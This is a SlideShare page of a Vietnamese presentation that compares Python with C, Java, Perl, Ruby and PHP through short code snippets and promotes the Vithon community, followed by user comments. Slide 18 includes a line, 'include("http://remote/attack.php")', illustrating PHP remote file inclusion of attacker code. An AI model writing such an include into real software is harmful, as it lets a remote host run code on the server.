Python for the rest of life

7,186 views

Published on

Presentation from Nam Nguyen Bluemoon at BarCampSaigon 1, comparing Python with other programming languages.

Published in: Technology, Education
4 Comments
19 Likes
Statistics
Notes
  • @bon9it : Bạn nhầm rồi nhé , hầu hết các lập trình viên không ai nói Python khó học, ngôn ngữ khác nhau thì cú pháp khác nhau chút. Slide này thiếu thông tin với người mới học về lập trình nhưng là tương đối ổn với người đã có kình nghiệm
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • nói chung cũng tạm đc rôi
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • SLIDE: Vài slide đầu dịch khó hiểu, không sát nghĩa
    SLIDE 5: Chương trình viết ra cho người đọc, nhưng bản thân người đọc thấy rất khó hiểu vì sử dụng ký tự đặc biệt và rule :)
    SLIDE 13: Thể hiện sự thiếu hiểu biết của tác giả về java
    SLIDE 19: Thấy ngôn ngữ Ruby và PHP dễ hiểu và đơn giản hơn

    Nói chung slide quá thiếu thông tin và không thuyết phục!
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • Love Python!
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total views
7,186
On SlideShare
0
From Embeds
0
Number of Embeds
28
Actions
Shares
0
Downloads
546
Comments
4
Likes
19
Embeds 0
No embeds

No notes for slide

Python for the rest of life

  1. 1. Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
  2. 2. Nội dung <ul><li>Kinh nghiệm bản thân </li></ul><ul><li>Giới thiệu Python </li></ul><ul><li>Nguyên lý căn bản của Python </li></ul><ul><li>So sánh với ngôn ngữ khác </li></ul><ul><li>Giới thiệu Vithon </li></ul><ul><li>Hỏi và cùng trả lời </li></ul>
  3. 3. Kinh nghiệm bản thân <ul><li>Biết đến Python từ 2003 </li></ul><ul><li>Học trong 5 tiếng </li></ul><ul><li>Sử dụng hàng ngày cho đến tận bây giờ </li></ul><ul><li>Sáu từ để diễn đạt: Học 5 tiếng, dùng suốt đời! </li></ul><ul><li>Gặp nhiều khó khăn trong việc soạn slide </li></ul><ul><li>Gần quên Java và C/C++ </li></ul><ul><li>Đã quên sạch Perl, PHP và Ruby </li></ul>
  4. 4. Giới thiệu Python <ul><li>Ra đời năm 1991 </li></ul><ul><li>Tác giả Guido Van Rossum, Hà Lan </li></ul><ul><li>Là ngôn ngữ lập trình </li></ul><ul><ul><li>Tổng quát </li></ul></ul><ul><ul><li>Kịch bản (scripting) </li></ul></ul><ul><ul><li>Kiểu vịt (duck typing) </li></ul></ul><ul><ul><li>Kiểu động (dynamic typing) </li></ul></ul><ul><ul><li>Nhưng có kiểu (strongly typed) </li></ul></ul><ul><li>Kèm sẵn pin (Battery included) </li></ul>
  5. 5. Nguyên lý căn bản của Python <ul><li>Ưu tiên cho việc đọc lại code </li></ul><ul><ul><li>Khoảng trắng bắt buộc </li></ul></ul><ul><ul><li>Hạn chế sử dụng ký tự đặc biệt </li></ul></ul><ul><ul><li>Chương trình phải được viết ra để cho người đọc, và chỉ là sự trùng hợp để máy tính thực thi ( Abelson & Sussman , MIT) </li></ul></ul><ul><li>Sự đơn giản được xem trọng </li></ul><ul><ul><li>Đã có while , nên bỏ do - while </li></ul></ul><ul><ul><li>Đã có elif , nên bỏ switch - case </li></ul></ul>
  6. 6. Nguyên lý căn bản của Python <ul><li>Ngôn ngữ khác có hộp, Python có thẻ </li></ul>a = 1 b = a a = 2 Python (tên) Ngôn ngữ khác (biến)
  7. 7. Nguyên lý căn bản của Python <ul><li>Kiểu cơ bản: int, long, float, dãy (sequence), từ điển (dictionary) </li></ul><ul><ul><li>A = 123 # int </li></ul></ul><ul><ul><li>B = 123456789123456789 # long </li></ul></ul><ul><ul><li>C = 123.456 # float </li></ul></ul><ul><ul><li>D = (1, 2, 3) # tuple </li></ul></ul><ul><ul><li>E = [1, 2, 3] # list </li></ul></ul><ul><ul><li>F = “12345” # string </li></ul></ul><ul><ul><li>G = { 1 : ‘abc’, 2 : “def” } # dictionary </li></ul></ul>
  8. 8. Nguyên lý căn bản của Python <ul><li>Cấu trúc lặp và điều khiển </li></ul><ul><ul><li>if/elif/else </li></ul></ul><ul><ul><li>while </li></ul></ul><ul><ul><li>for </li></ul></ul><ul><li>Xử lý biệt lệ </li></ul><ul><ul><li>try/except </li></ul></ul><ul><ul><li>try/finally </li></ul></ul><ul><ul><li>try/except/else </li></ul></ul><ul><ul><li>try/except/finally (Python 2.5+) </li></ul></ul>
  9. 9. Nguyên lý căn bản của Python <ul><li>Khai báo hàm bằng def </li></ul><ul><li>Khai báo lớp bằng class </li></ul><ul><li>Đa kế thừa (multiple inheritance) </li></ul><ul><li>Tất cả mọi đối tượng (gói, mô-đun, lớp, hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng </li></ul><ul><li>Và chỉ đơn giản như thế thôi! </li></ul>
  10. 10. <ul><li>Perl </li></ul><ul><li>~!@#$%^&*() </li></ul><ul><li>Ruby </li></ul><ul><li>~!@#$%^&*() </li></ul><ul><li>Python </li></ul><ul><li>~%^&*() </li></ul>So sánh với ngôn ngữ khác Tính dễ đọc
  11. 11. <ul><li>C </li></ul><ul><li>int a, b, t; </li></ul><ul><li>t = a; </li></ul><ul><li>a = b; </li></ul><ul><li>b = t; </li></ul><ul><li>Python </li></ul><ul><li>a, b = b, a </li></ul><ul><li>a, b, c=b, c, a </li></ul>So sánh với ngôn ngữ khác Hoán vị 2 số
  12. 12. <ul><li>Java </li></ul><ul><li>BigInteger a, b, c; </li></ul><ul><li>a = new BigInteger(“12345678901234567890”); </li></ul><ul><li>b = new BigInteger(“12345678901234567890”); </li></ul><ul><li>c = a.multiply(b); </li></ul><ul><li>Python </li></ul><ul><li>a = 12345678901234567890 </li></ul><ul><li>b = 12345678901234567890 </li></ul><ul><li>c = a * b </li></ul>So sánh với ngôn ngữ khác Tính toán số lớn
  13. 13. <ul><li>Java </li></ul><ul><li>System.out.print(a[0]); </li></ul><ul><li>for (int i = 1; i < a.length; i++) { </li></ul><ul><li>System.out.print(“ “ + a[i]); </li></ul><ul><li>} </li></ul><ul><li>Python </li></ul><ul><li>print “ “.join(a) </li></ul>So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
  14. 14. <ul><li>Java </li></ul><ul><li>System.out.print(a[0]); </li></ul><ul><li>for (int i = 1; i < a.length - 1; i++) { </li></ul><ul><li>System.out.print(“ “ + a[i]); </li></ul><ul><li>} </li></ul><ul><li>System.out.print(“ va “ + a[a.length – 1]); </li></ul><ul><li>Python </li></ul><ul><li>print “ “.join(a[:-1]), “va”, a[-1] </li></ul>So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
  15. 15. <ul><li>Java </li></ul><ul><li>// too many lines </li></ul><ul><li>// to show </li></ul><ul><li>// here </li></ul><ul><li>Python </li></ul><ul><li>f = open(filename, “rb”) </li></ul><ul><li>d = f.read() </li></ul><ul><li>f.close() </li></ul>So sánh với ngôn ngữ khác Đọc file
  16. 16. <ul><li>Perl </li></ul><ul><li>open(DATA, “filename”); </li></ul><ul><li>while ($line = <DATA>){ </li></ul><ul><li>print $line; </li></ul><ul><li>} </li></ul><ul><li>close(DATA); </li></ul><ul><li>Python </li></ul><ul><li>f = open(filename, “r”) </li></ul><ul><li>for line in f: </li></ul><ul><li>print line </li></ul><ul><li>f.close() </li></ul>So sánh với ngôn ngữ khác Đọc từng dòng
  17. 17. <ul><li>Java </li></ul><ul><li>for (int i=0; i < a.length; i++) { </li></ul><ul><li>if (a[i] % 2 == 0) </li></ul><ul><li>b.add(a[i]); </li></ul><ul><li>} </li></ul><ul><li>Python </li></ul><ul><li>b = [x for x in a if (x % 2) == 0] </li></ul>So sánh với ngôn ngữ khác Lọc phần tử trong mảng
  18. 18. <ul><li>PHP </li></ul><ul><li>$file = fopen(“http://www.google.com”); </li></ul><ul><li>Python </li></ul><ul><li>import urllib2 </li></ul><ul><li>r = urllib2.urlopen(“http://www.google.com”) </li></ul>So sánh với ngôn ngữ khác Lấy file từ URL include(“http://remote/attack.php”);
  19. 19. <ul><li>PHP </li></ul><ul><li>strrev(“abc”); </li></ul><ul><li>Ruby </li></ul><ul><li>“ abc”.reverse </li></ul><ul><li>Python </li></ul><ul><li>“ abc”[::-1] # cba </li></ul>So sánh với ngôn ngữ khác Đảo chuỗi
  20. 20. <ul><li>PHP </li></ul><ul><li>gzdeflate(base64_decode(base64_encode(gzcompress(“abc”)))) </li></ul><ul><li>Python </li></ul><ul><li>“ abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”) </li></ul>So sánh với ngôn ngữ khác Chuyển mã
  21. 21. <ul><li>PHP </li></ul><ul><li>N/A </li></ul><ul><li>Python </li></ul><ul><li>Ví dụ chương trình cờ tướng sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ. </li></ul>So sánh với ngôn ngữ khác Ứng dụng web
  22. 22. Giới thiệu Vithon <ul><li>Vietnamese Python </li></ul><ul><li>Python cho người Việt </li></ul><ul><li>Do người yêu thích Python </li></ul><ul><li>Cho người yêu thích Python </li></ul><ul><li>Tài liệu, diễn đàn, dự án, bài viết, bài dịch </li></ul><ul><li>Hãy cùng tham gia </li></ul><ul><li>http://www.vithon.org </li></ul><ul><li>Python là số một nha! </li></ul>
  23. 23. Cảm ơn <ul><li>Life is short, use Python! </li></ul><ul><li>Python cho phần đời còn lại! </li></ul><ul><li>Nguyễn Thành Nam </li></ul><ul><li>[email_address] </li></ul>
  24. 24. Hỏi và cùng trả lời

×